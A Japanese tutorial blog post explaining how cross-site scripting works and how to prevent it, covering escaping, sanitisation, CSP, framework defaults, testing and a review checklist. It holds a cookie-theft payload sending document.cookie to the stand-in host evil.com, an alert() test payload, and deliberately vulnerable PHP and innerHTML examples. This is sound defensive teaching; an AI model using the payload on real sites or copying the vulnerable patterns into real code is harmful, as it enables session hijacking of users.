PR

クロスサイトスクリプティング(XSS)の仕組みと対策

この記事は学習用です。ChatGPT と GitHub Copilot を使っています。

1. 導入:クロスサイトスクリプティングとは

クロスサイトスクリプティング(XSS: Cross-Site Scripting)は、Webアプリケーションにおける代表的な脆弱性の一つである。
攻撃者が悪意のあるスクリプトをユーザーのブラウザで実行させることで、Cookieの窃取、セッション乗っ取り、フィッシングなどを引き起こす。
XSSは入力値の検証不足や出力エスケープの欠如により発生しやすく、特に動的にHTMLを生成するWebアプリで頻発する。

2. XSSの発生原理

Webページがユーザー入力をHTML内に直接埋め込む場合、悪意のあるJavaScriptが実行される。
例えば次のような掲示板フォームを考える。

<form method="GET">
  <input type="text" name="message">
  <input type="submit" value="送信">
</form>

<p>あなたのメッセージ:<?php echo $_GET["message"]; ?></p>

このとき、ユーザーが以下を入力した場合:

<script>alert('XSS攻撃');</script>

ブラウザ上では実際にJavaScriptが実行され、alertが表示される。
これはサーバー側が入力値をエスケープせずに出力しているためである。

3. XSSの種類

XSSは大きく以下の3種類に分類される。

種類概要
反射型(Reflected XSS)URLパラメータなどにスクリプトを含め、レスポンスに即時反映される検索フォームなど
永続型(Stored XSS)攻撃スクリプトがDBに保存され、閲覧者全員に影響する掲示板・コメント欄
DOM型(DOM-based XSS)クライアント側のJavaScriptでDOM操作時に発生innerHTML操作など

DOM型はサーバーを介さず、フロントエンドのスクリプト処理中に発生する点が特徴である。

4. 攻撃の影響と実例

攻撃者がXSSを悪用すると、以下のような被害が発生する:

  • Cookieの窃取によるセッション乗っ取り
  • 偽フォームによるフィッシング
  • ブラウザのリダイレクトによるマルウェア配布
  • Webサイトの改ざん(見た目・内容の書き換え)

たとえば、攻撃者が <script>document.location='http://evil.com?cookie='+document.cookie</script> を埋め込んだ場合、被害者のセッション情報(HttpOnly が付与されていない場合の Cookie 等)が第三者に送信される。

5. 防止策と実装方法

XSSを防ぐための基本対策は、入力値の検証出力時のエスケープ である。

(1) 出力エスケープ

HTMLに文字列を出力する際には、特別な文字(<, >, &, ", ')をエスケープする。

PHPの場合:

echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

JavaScript内に値を埋め込む場合は、JSON.stringify()などを使って安全にエスケープする。

(2) 入力値のサニタイズ

サーバー側で入力内容を検査し、不要なタグやスクリプトを除去する。
たとえば、HTMLPurifier(PHPライブラリ)や DOMPurify(JavaScriptライブラリ)が利用できる。

(3) Content Security Policy(CSP)

CSP(コンテンツセキュリティポリシー)は、ブラウザが実行できるスクリプトの出所を制限するHTTPヘッダーである。

例:

Content-Security-Policy: script-src 'self';

これにより、外部サイトからのスクリプト読み込みを防止できる。

6. フレームワークにおける自動対策

多くのWebフレームワークはXSS対策を標準装備している。

フレームワークデフォルトの対策
Laravel(PHP)Bladeテンプレートで {{ }} が自動エスケープ
Django(Python)テンプレートで自動エスケープ
React(JavaScript)JSXで値を自動的にエスケープ(dangerouslySetInnerHTMLを除く)

ただし、例外的に「手動HTML挿入」を行う場合は危険であり、開発者の責任で安全性を確保する必要がある。

7. テストと検証

XSSの脆弱性を検出するためには、静的解析・動的解析の両面から検証する。

  • Burp SuiteOWASP ZAP による動的テスト
  • eslint-plugin-security などによるコード静的解析(必要に応じて eslint-plugin-no-unsanitized 等の導入も検討)
  • OWASP XSS Cheat Sheet を参考に攻撃パターンを網羅的に確認

脆弱性が見つかった場合は、出力箇所を特定し、エスケープ処理の有無を再確認する。

8. DOM操作フロー

何を扱うか
ブラウザ側でのDOM生成・イベント処理の一般的な流れを示す。どの箇所で不適切な操作(innerHTMLなど)が入り込むとDOM型XSSが発生するかを可視化する。

なぜ重要か
DOM型XSSはサーバーを介さず発生するため、サーバー側の対策だけでは防げない。フロントエンドのどの箇所を見れば良いかを図で把握できると、レビュー・テストが効率化する。

どのように行うか(図の読み方と適用方法)
図のノードは次を表す:User InputEvent HandlerDOM UpdateRendered PageDOM Updateの経路で innerHTML / insertAdjacentHTML 等が使われていると危険領域になる。レビュー時にはこの経路のすべてで textContent / setAttribute / DOMPurify 等で防御できているか確認する。

flowchart LR A[User Input / URL Parameter] --> B[Event Handler / JS Logic] B --> C{DOM Update Method} C -->|safe: textContent / setAttribute| D[Rendered DOM 安全] C -->|unsafe: innerHTML / insertAdjacentHTML| E[Rendered DOM 危険] E --> F[悪意スクリプト 実行 => Cookie取得等] click B href "javascript:void(0)" "イベントハンドラを確認"

補足(実装例)

  • 危険な例(NG):
// 危険:ユーザー入力をそのままinnerHTMLに入れる
const el = document.getElementById('out');
el.innerHTML = location.search; // 危険
  • 安全な代替(OK):
// 安全:textContent を使う、または明示的にサニタイズする
const el = document.getElementById('out');
const params = new URLSearchParams(location.search).get('q') || '';
el.textContent = params; // エスケープ済み
// または DOMPurify.sanitize(params) を使ってから innerHTML に挿入する

9. 攻撃経路(攻撃者視点のMermaid図)

何を扱うか
反射型・永続型・DOM型それぞれの典型的な攻撃フローを、攻撃者視点で段階的に示す。どのフェーズで検出・阻止できるかを示すことで、防御設計につなげる。

なぜ重要か
攻撃のライフサイクル(作成→配置→実行→悪用)を理解すると、どの段階でログやWAF、CSP、エスケープ等を配置すべきかが明確になる。

どのように行うか(図の読み方と対策)
各ノードに対して対応策を併記してレビューする。たとえば「入力受信」→サニタイズ、「保存」→保存前にエンコード、「配信」→出力時にエスケープ、など。

sequenceDiagram participant Att as 攻撃者 participant App as Webアプリ participant DB as データベース participant Victim as 被害者のブラウザ Note over Att,App: 永続型XSSの流れ Att->>App: 投稿フォームに <script>... を送信 App->>DB: 悪性スクリプトを保存 Victim->>App: ページを閲覧 App->>Victim: 保存されたスクリプトを含むHTMLを返す Victim->>Victim: ブラウザでスクリプト実行 => Cookie送信 / UI詐称 等 Note over Att,App: 反射型XSSの流れ Att->>Victim: 攻撃用URL(payload付き)を送る Victim->>App: URL経由でリクエスト送信 App->>Victim: リクエストを反映したレスポンスを返す(エスケープ不備) Victim->>Victim: スクリプト実行 Note over Att,Victim: DOM型XSSの流れ Att->>Victim: 攻撃用URLを送る Victim->>Victim: ブラウザ内のスクリプトがURLを解析 → innerHTMLで注入 -> 実行

対策マッピング(簡易)

  • 投稿フォームでの保存前検査:入力バリデーション、正規化
  • 出力時エスケープ:HTMLエスケープ(コンテキストに応じたエスケープ)
  • フロントエンド安全化:textContent使用、DOMPurify導入、危険API使用の禁止
  • 配信レイヤ:CSP適用、HttpOnly/Secure Cookie、WAFルール

10. 図から読み取る具体的対処(チェックリスト)

何を扱うか
図で示した各ノードに対する、実務的なチェックリストとコードポイントを示す。レビュー・QA工程でそのまま使える。

なぜ重要か
可視化→チェックリスト化すると、レビュー時に見落としが減る。開発フロー(PRレビュー、セキュリティテスト)に組み込みやすい。

どのように行うか(チェック項目)

  • 入力受領(サーバー側)
  • 全入力に対し型チェック・長さチェックを行っているか
  • HTMLタグを期待しないフィールドはタグを除去しているか
  • 保存(DB)
  • 保存前にサニタイズまたはエンコードしているか(※ただし出力時のエスケープを基本とする)
  • 出力(サーバーからクライアント)
  • HTMLコンテキストに応じたエスケープを行っているか(HTML本文、属性、URL、JS、CSSそれぞれ)
  • テンプレートエンジンの自動エスケープを無効にしていないか
  • フロントエンド(クライアント)
  • innerHTML/insertAdjacentHTMLの使用を最小限にしているか
  • どうしても使用する場合はDOMPurify等でサニタイズしているか
  • 外部スクリプトの読み込みを制限するCSPを設定しているか
  • 運用・検知
  • XSSパターンを検出するWAFルールを導入しているか
  • 重大度の高いインシデント時にCookie再発行・セッション無効化手順を用意しているか

簡易コマンド例(CSPヘッダー設定)

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self';
# PHP (レスポンスヘッダ)
header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self';");
# Nginx 設定例 (server ブロック内)
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self';" always;
# 追加の運用メモ
- HttpOnly と Secure(必要に応じて SameSite)フラグをセッションCookieに付与する
- 重大インシデント発生時は即時セッション無効化・パスワードリセット対応を行う

11. まとめ

クロスサイトスクリプティングは「入力値を信頼しない」という原則の欠如によって発生する。
攻撃は簡単である一方、被害は大きく、Webサービス全体の信頼性を損なう。
開発時に「出力エスケープの徹底」「CSPの導入」「安全なテンプレートエンジンの利用」を行うことで、XSSのリスクを大幅に軽減できる。

A. 参考サイト

B. 関連書籍

コメント